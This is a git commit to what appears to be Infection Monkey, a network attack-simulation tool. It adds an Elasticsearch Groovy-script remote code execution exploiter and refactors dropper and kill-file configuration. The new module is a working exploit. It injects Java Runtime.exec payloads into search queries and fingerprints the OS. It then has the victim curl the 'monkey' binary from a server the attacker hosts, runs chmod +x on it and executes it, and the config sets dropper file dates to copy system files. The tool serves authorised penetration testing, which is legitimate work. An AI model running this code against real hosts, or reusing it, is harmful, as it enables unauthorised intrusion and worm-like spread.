Merge remote-tracking branch 'origin/develop' into feature/pass-the-hash

# Conflicts:
#	monkey_island/cc/services/config.py
This commit is contained in:
Itay Mizeretz 2017-09-27 18:42:25 +03:00
commit 48ce135194
8 changed files with 282 additions and 25 deletions

View File

@ -6,7 +6,7 @@ from abc import ABCMeta
from itertools import product from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter SambaCryExploiter, ElasticGroovyExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
from network.range import FixedRange from network.range import FixedRange
@ -102,9 +102,9 @@ class Configuration(object):
########################### ###########################
use_file_logging = True use_file_logging = True
dropper_log_path_windows = os.path.expandvars("%temp%\~df1562.tmp") dropper_log_path_windows = '%temp%\\~df1562.tmp'
dropper_log_path_linux = '/tmp/user-1562' dropper_log_path_linux = '/tmp/user-1562'
monkey_log_path_windows = os.path.expandvars("%temp%\~df1563.tmp") monkey_log_path_windows = '%temp%\\~df1563.tmp'
monkey_log_path_linux = '/tmp/user-1563' monkey_log_path_linux = '/tmp/user-1563'
########################### ###########################
@ -113,14 +113,15 @@ class Configuration(object):
dropper_try_move_first = sys.argv[0].endswith(".exe") dropper_try_move_first = sys.argv[0].endswith(".exe")
dropper_set_date = True dropper_set_date = True
dropper_date_reference_path = r"\windows\system32\kernel32.dll" if sys.platform == "win32" else '/bin/sh' dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path = r"C:\Windows\monkey.exe" dropper_target_path = r"C:\Windows\monkey.exe"
dropper_target_path_linux = '/tmp/monkey' dropper_target_path_linux = '/tmp/monkey'
########################### ###########################
# Kill file # Kill file
########################### ###########################
kill_file_path_windows = os.path.expandvars("%windir%\monkey.not") kill_file_path_windows = '%windir%\\monkey.not'
kill_file_path_linux = '/var/run/monkey.not' kill_file_path_linux = '/var/run/monkey.not'
########################### ###########################
@ -145,6 +146,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration

View File

@ -83,11 +83,15 @@ class MonkeyDrops(object):
return False return False
if WormConfiguration.dropper_set_date: if WormConfiguration.dropper_set_date:
if sys.platform == 'win32':
dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows)
else:
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try: try:
ref_stat = os.stat(WormConfiguration.dropper_date_reference_path) ref_stat = os.stat(dropper_date_reference_path)
except: except:
LOG.warn("Cannot set reference date using '%s', file not found", LOG.warn("Cannot set reference date using '%s', file not found",
WormConfiguration.dropper_date_reference_path) dropper_date_reference_path)
else: else:
try: try:
os.utime(self._config['destination_path'], os.utime(self._config['destination_path'],

View File

@ -16,7 +16,8 @@
"collect_system_info": true, "collect_system_info": true,
"depth": 2, "depth": 2,
"dropper_date_reference_path": "/bin/sh", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562", "dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true, "dropper_set_date": true,
@ -33,7 +34,9 @@
"WmiExploiter", "WmiExploiter",
"RdpExploiter", "RdpExploiter",
"Ms08_067_Exploiter", "Ms08_067_Exploiter",
"ShellShockExploiter" "ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -14,6 +14,7 @@ class HostExploiter(object):
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
raise NotImplementedError() raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter from wmiexec import WmiExploiter
from smbexec import SmbExploiter from smbexec import SmbExploiter
@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter from sshexec import SSHExploiter
from shellshock import ShellShockExploiter from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter

View File

@ -0,0 +1,236 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
import logging
import requests
from exploit import HostExploiter
from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(HostExploiter):
_target_os_type = ['linux', 'windows']
# attack URLs
BASE_URL = 'http://%s:%s/_search?pretty'
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
def __init__(self):
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
def is_os_supported(self, host):
"""
Checks if the host is vulnerable.
Either using version string or by trying to attack
:param host: VictimHost
:return:
"""
if host.os.get('type') not in self._target_os_type:
return False
if ES_SERVICE not in host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
if major > 1:
return False
if major == 1 and minor > 4:
return False
if major == 1 and minor == 4 and build > 2:
return False
return self.is_vulnerable(host)
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
real_host_os = self.get_host_os(host)
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
else:
return self.exploit_host_windows(host, depth, src_path)
def exploit_host_windows(self, host, depth=-1, src_path=None):
"""
TODO
Will exploit windows similar to smbexec
:return:
"""
return False
def exploit_host_linux(self, host, depth=-1, src_path=None):
"""
Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP
:return:
"""
uname_machine = str(self.get_linux_arch(host))
if len(uname_machine) != 0:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
return False
self.set_file_executable_linux(host, dropper_target_path_linux)
self.run_monkey_linux(host, dropper_target_path_linux, depth)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
return True
def run_monkey_linux(self, host, dropper_target_path_linux, depth):
"""
Runs the monkey
"""
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
self.run_shell_command(host, cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, host, src_path, target_path):
"""
Downloads a file in target machine using curl to the given target path
:param host:
:param src_path: File path relative to the monkey
:param target_path: Target path in linux victim
:return: T/F
"""
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path)
self.run_shell_command(host, download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(host, target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
def set_file_executable_linux(self, host, file_path):
"""
Marks the given file as executable using chmod
:return: Nothing
"""
chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(host, chmod)
LOG.info("Marked file %s on host %s as executable", file_path, host)
def check_if_remote_file_exists_linux(self, host, file_path):
"""
:return:
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(host, cmdline)
def run_shell_command(self, host, command):
"""
Runs a single shell command and returns the result.
"""
payload = self.JAVA_CMD % command
result = self.get_command_result(host, payload)
LOG.info("Ran the command %s on host %s", command, payload)
return result
def get_linux_arch(self, host):
"""
Returns host as per uname -m
"""
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self, host):
"""
Returns where to write our file given our permissions
:return: Temp directory path in target host
"""
return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
def get_host_os(self, host):
"""
:return: target OS
"""
return self.get_command_result(host, self.JAVA_GET_OS)
def is_vulnerable(self, host):
"""
Checks if a given elasticsearch host is vulnerable to the groovy attack
:param host: Host, with an open 9200 port
:return: True/False
"""
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text
def get_command_result(self, host, payload):
"""
Gets the result of an attack payload with a single return value.
:param host: VictimHost configuration
:param payload: Payload that fits the GENERIC_QUERY template.
"""
result = self.attack_query(host, payload)
if not result: # not vulnerable
return False
return result[0]
def attack_query(self, host, payload):
"""
Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs
:return: List of data fields or None
"""
response = requests.get(self.attack_url(host), data=payload)
result = self.get_results(response)
return result
def attack_url(self, host):
"""
Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL
"""
return self.BASE_URL % (host.ip_addr, ES_PORT)
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except KeyError:
return None

View File

@ -280,12 +280,8 @@ class RdpExploiter(HostExploiter):
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
config_users = self._config.exploit_user_list
config_passwords = self._config.exploit_password_list user_password_pairs = self._config.get_exploit_user_password_pairs()
user_password_pairs = []
for user in config_users:
for password in config_passwords:
user_password_pairs.append((user, password))
if not g_reactor.is_alive(): if not g_reactor.is_alive():
g_reactor.daemon = True g_reactor.daemon = True

View File

@ -68,7 +68,7 @@ def main():
print "Loaded Configuration: %r" % WormConfiguration.as_dict() print "Loaded Configuration: %r" % WormConfiguration.as_dict()
# Make sure we're not in a machine that has the kill file # Make sure we're not in a machine that has the kill file
kill_path = WormConfiguration.kill_file_path_windows if sys.platform == "win32" else WormConfiguration.kill_file_path_linux kill_path = os.path.expandvars(WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux
if os.path.exists(kill_path): if os.path.exists(kill_path):
print "Kill path found, finished run" print "Kill path found, finished run"
return True return True

View File

@ -62,7 +62,14 @@ SCHEMA = {
"SambaCryExploiter" "SambaCryExploiter"
], ],
"title": "SambaCryExploiter" "title": "SambaCryExploiter"
} },
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovyExploiter"
},
] ]
}, },
"finger_classes": { "finger_classes": {
@ -320,7 +327,8 @@ SCHEMA = {
"Ms08_067_Exploiter", "Ms08_067_Exploiter",
"SSHExploiter", "SSHExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"SambaCryExploiter" "SambaCryExploiter",
"ElasticGroovyExploiter"
], ],
"description": "Determines which classes to use for exploiting" "description": "Determines which classes to use for exploiting"
} }
@ -333,7 +341,7 @@ SCHEMA = {
"kill_file_path_windows": { "kill_file_path_windows": {
"title": "Kill file path on Windows", "title": "Kill file path on Windows",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey.not", "default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)" "description": "Path of file which kills monkey if it exists (on Windows)"
}, },
"kill_file_path_linux": { "kill_file_path_linux": {
@ -354,11 +362,17 @@ SCHEMA = {
"default": True, "default": True,
"description": "Determines whether the dropper should set the monkey's file date to be the same as another file" "description": "Determines whether the dropper should set the monkey's file date to be the same as another file"
}, },
"dropper_date_reference_path": { "dropper_date_reference_path_windows": {
"title": "Droper date reference path", "title": "Dropper date reference path (Windows)",
"type": "string", "type": "string",
"default": "\\windows\\system32\\kernel32.dll", "default": "%windir%\\system32\\kernel32.dll",
"description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)" "description": "Determines which file the dropper should copy the date from if it's configured to do so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description": "Determines which file the dropper should copy the date from if it's configured to do so on Linux (use fullpath)"
}, },
"dropper_target_path_linux": { "dropper_target_path_linux": {
"title": "Dropper target path on Linux", "title": "Dropper target path on Linux",
@ -393,7 +407,7 @@ SCHEMA = {
"dropper_log_path_windows": { "dropper_log_path_windows": {
"title": "Dropper log file path on Windows", "title": "Dropper log file path on Windows",
"type": "string", "type": "string",
"default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp", "default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows" "description": "The fullpath of the dropper log file on Windows"
}, },
"monkey_log_path_linux": { "monkey_log_path_linux": {
@ -405,7 +419,7 @@ SCHEMA = {
"monkey_log_path_windows": { "monkey_log_path_windows": {
"title": "Monkey log file path on Windows", "title": "Monkey log file path on Windows",
"type": "string", "type": "string",
"default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", "default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows" "description": "The fullpath of the monkey log file on Windows"
} }
} }